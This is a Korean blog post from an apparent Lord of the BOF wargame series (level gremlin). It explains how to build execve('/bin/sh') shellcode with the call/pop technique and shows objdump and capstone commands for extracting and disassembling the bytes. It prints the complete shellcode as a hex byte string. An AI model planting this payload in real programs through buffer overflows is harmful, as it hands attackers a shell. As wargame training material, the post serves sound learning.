본문 바로가기
Wargame/The Lord of the BOF

LOB - 01 gremlin - (2.2)쉘코드 수정

by morae23 2019. 2. 1.

이번에 작성할 코드도 'LOB - 01 gremlin - (2.1)쉘코드 작성'과 동일하게 

execve('/bin/sh') 이다.


이번에는 data 영역 대신 call 명령어를 이용할 것이다.


설명에 앞서 작성한 코드는 아래와 같다.




이번에는 call 명령어를 이용한다.

call은 call하는 주소로 점프하기 전에 call 아래에 있는 명령어의 주소를 스택에 push한다.


따라서 위의 코드의 경우 "/bin/sh" 스트링이 담긴 주소가 스택에 push된다.

그리고 main에서 pop을 하면 ebx에 "/bin/sh"의 주소가 담기게 된다.

eax, ecx, edx와 관련된 부분은 이전과 동일하다.




# objdump 이용 for i in $(objdump -d shell | grep "^ " | cut -f 2);do echo -n \\x$i; done; echo -e "\n"; ### capstone 설치 ### # git clone https://github.com/aquynh/capstone

# cd capstone # ./make.sh # ./make.sh install cstool x32 \xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x5b\x31\xc0\x50\x89\xe1\x89\xe2\xb0\x0b\xcd\x80



'Wargame > The Lord of the BOF' 카테고리의 다른 글

LOB - 03 goblin  (0) 2019.02.01
LOB - 02 cobolt  (0) 2019.02.01
LOB - 01 gremlin - (3)마무리  (0) 2019.02.01
LOB - 01 gremlin - (2.1)쉘코드 작성  (0) 2019.02.01
LOB - 01 gremlin - (1)스택 구조 파악  (0) 2019.02.01

댓글